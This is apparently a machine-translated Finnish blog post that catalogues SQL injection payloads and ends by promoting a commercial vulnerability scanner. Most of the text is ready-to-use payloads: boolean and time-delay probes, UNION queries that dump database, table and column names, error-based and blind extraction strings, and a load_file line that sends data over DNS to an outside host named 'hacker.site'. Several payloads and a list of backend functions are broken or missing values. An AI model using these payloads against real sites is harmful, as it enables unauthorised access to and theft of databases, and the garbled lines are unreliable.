SQL injektio hyötykuormat: miten SQLi hyödyntää työtä
mikä on SQL injektio hyötykuorma?
SQL Injection edustaa web-tietoturvahaavoittuvuutta, jonka avulla hyökkääjät voivat tarkastella tietoja, joita heidän ei pitäisi pystyä, antamalla hyökkääjän häiritä kyselyjä, joita sovellus tekee tietokantaansa pistämällä haitallisia SQL injection hyötykuormia.
Lue lisää SQL injektio hyökkäykset tässä blogikirjoitus-Mitä ovat SQL injektiot ja miten ne voidaan estää
tässä blogikirjoitus, aiomme kattaa miten tarkistaa, jos sivusto on altis SQLi ja eri SQL injektio hyötykuormia käytetään hyödyntämään erilaisia SQL injektio haavoittuvuuksia.
tässä artikkelissa:
vahvistaa SQLi: Syöttöpisteen tunnistus
tunnistaaksesi, jos sovelluksesi ovat alttiita SQLi: lle ja voit käyttää seuraavia hyötykuormia, sinun on ensin voitava syöttää tietoja kyselyyn rikkomatta sitä. Ensimmäinen askel on selvittää, miten paeta nykyisestä kontekstista.
kokeile jotain näistä hyödyllisistä esimerkeistä:
'
"
`
')
")
`)
'))
"))
`))
voit korjata kyselyn syöttämällä tietoja, jotta edellinen kysely hyväksyy uudet tiedot, tai voit syöttää tietoja ja lisätä kommenttisymbolin loppuun.
tämä vaihe on helpompi, jos voit nähdä virheilmoituksia tai voit tunnistaa, jos /kun kysely toimii vai ei.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
vahvistamalla SQLi käyttämällä loogisia operaatioita
voit vahvistaa SQL-injektiohaavoittuvuuden suorittamalla loogisen operaation. Jos saat odotetun tuloksen, vahvistit SQLi.
näin se käytännössä näyttää:
jos GET-parametri ?username=John
palauttaa saman sisällön kuin ?username=John'
tai '1'='1
, niin olet löytänyt SQL-injektiohaavoittuvuuden.
tämä käsite toimii myös matemaattisissa operaatioissa:
jos ?id=1
palauttaa saman kuin ?id=2-1
, löytyi SQL-injektiohaavoittuvuus.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
SQL-injektion vahvistaminen ajoituksella
joissakin tapauksissa, kun yritetään vahvistaa sqli, testattavalla sivulla ei ole havaittavaa muutosta. Tämä osoittaa sokean SQL: n, joka voidaan tunnistaa tekemällä tietokannasta toimintoja, jotka vaikuttavat sivun latautumisaikaan.
lisäämme SQL-kyselyyn operaation, jonka suorittaminen kestää kauemmin, kuten seuraavan suorittamisen:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
unitoiminnot eivät ole aina sallittuja, joten tee kysely suorittaa monimutkaisia operaatioita, jotka kestävät useita sekunteja sen sijaan.
Identifying the Back-end
Different backends have different functions, which can be identified executing those functions. Esimerkkejä näistä funktioista ovat:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
unionin pohjainen SQL injektio hyötykuormat
havaita sarakkeiden määrä
molemmat kyselyt (Alkuperäinen, ja yksi muutamme) on palautettava sama määrä sarakkeita. Mutta mistä tiedämme, kuinka monta saraketta alkuperäinen pyyntö on palauttamassa? Käytämme yleensä jompaakumpaa seuraavista menetelmistä sarakkeiden määrän saamiseksi:
Järjestys / ryhmä
vaikka GROUP BY
ja ORDER BY
on SQL: ssä erilaisia funktioita, voidaan kummastakin päätellä kyselyssä olevien sarakkeiden määrä. Lisää numeroa, kunnes saat väärän vastauksen:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
kun kyseessä on UNION SELECT, lisätään kasvava määrä nollia, kunnes kysely on voimassa:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
miksi nollaarvoja käytetään? On tapauksia, joissa kyselyn molemmin puolin olevien sarakkeiden tyypin on oltava sama. Null on voimassa kaikissa tapauksissa.
Pura tietokantojen nimet, taulukot ja sarakkeiden nimet
seuraavissa esimerkeissä haemme kaikkien tietokantojen nimet, taulukon nimet tietokannasta ja taulukon sarakkeiden nimet:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
menetelmä, jota käytetään tämän tiedon löytämiseen, vaihtelee itse tietokannasta, mutta se on aina sama menetelmä.
Virhepohjaiset SQL-Injektiokuormat
jos kyselyn ulostulo ei ole näkyvissä, mutta näet Virheilmoitukset, voit saada nämä Virheilmoitukset toimimaan, jotta voit poistaa tiedot tietokannasta.
samanlainen kuin Unionipohjainen hyödyntämisesimerkki, voit dumpata tietokannan:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
sokeiden SQL-injektioiden hyötykuormat
sokean SQL-injektion tapauksessa et näe kyselyn tuloksia etkä virheitä, mutta voit erottaa, milloin kysely palautti oikean tai väärän vastauksen sivun eri sisällön perusteella.
voit käyttää väärin tätä käytöstä dumpataksesi tietokannan char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
virhe Blind SQL Injection hyötykuormat
kuten nimestä voi päätellä, tämä on hyvin samankaltainen kuin Blind SQL injection, mutta tällä kertaa ei tarvitse erottaa oikeaa tai epätosi vastausta. Tarkistat, onko SQL-kyselyssä virhe vai ei, pakottamalla SQL-virheen joka kerta, kun arvaat merkin oikein:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
aikapohjaiset SQL Injection hyötykuormat
voit käyttää tätä tekniikkaa ensisijaisesti silloin, kun olet aikeissa hyödyntää sokeita haavoittuvuuksia, joissa käytät toista kyselyä käynnistääksesi DNS-haun, ehdollisen virheen tai aikaviiveen.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
pinottuja kyselyjä
pinottuja kyselyjä voidaan käyttää useiden kyselyjen suorittamiseen peräkkäin. Vaikka seuraavat kyselyt suoritetaan, tuloksia ei palauteta sovellukseen. Voit käyttää tätä tekniikkaa, kun sokeat haavoittuvuudet, joissa käytät toista kyselyä käynnistääksesi DNS-haun, ehdollisen virheen tai aikaviiveen.
vaikka Oracle ja MySQL eivät tue pinottuja kyselyitä, Microsoft ja PostgreSQL tukevat niitä: QUERY-1-HERE; QUERY-2-HERE
sqli-Hyötykuormista
jos mikään edellä mainituista hyödyntämismenetelmistä ei toiminut, voit yrittää saada tietokannan siirtämään tiedot ulkopuoliseen isäntään, jota valvot. Voit esimerkiksi käyttää DNS-kyselyjä:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
tunnista SQL-injektio Nexploit
Neuralegionin Nexploit automatisoi satojen haavoittuvuuksien, kuten SQL-injektion, havaitsemisen ja korjaamisen.
integroimalla DAST-skannaukset kehitysprosessin varhaisessa vaiheessa kehittäjät ja sovellusten tietoturva-asiantuntijat voivat havaita haavoittuvuudet varhaisessa vaiheessa ja korjata ne ennen kuin ne tulevat tuotantoon.
Nexploitilla skannaukset tehdään minuuteissa ja tuloksissa on nolla väärää positiivista. Näin kehittäjät voivat ottaa ratkaisun käyttöön ja käyttää sitä koko kehityksen elinkaaren ajan.
skannaa mikä tahansa web-sovellus tai API estääksesi SQL – injektiohaavoittuvuudet-kokeile NeuraLegion Nexploit free-sovellusta.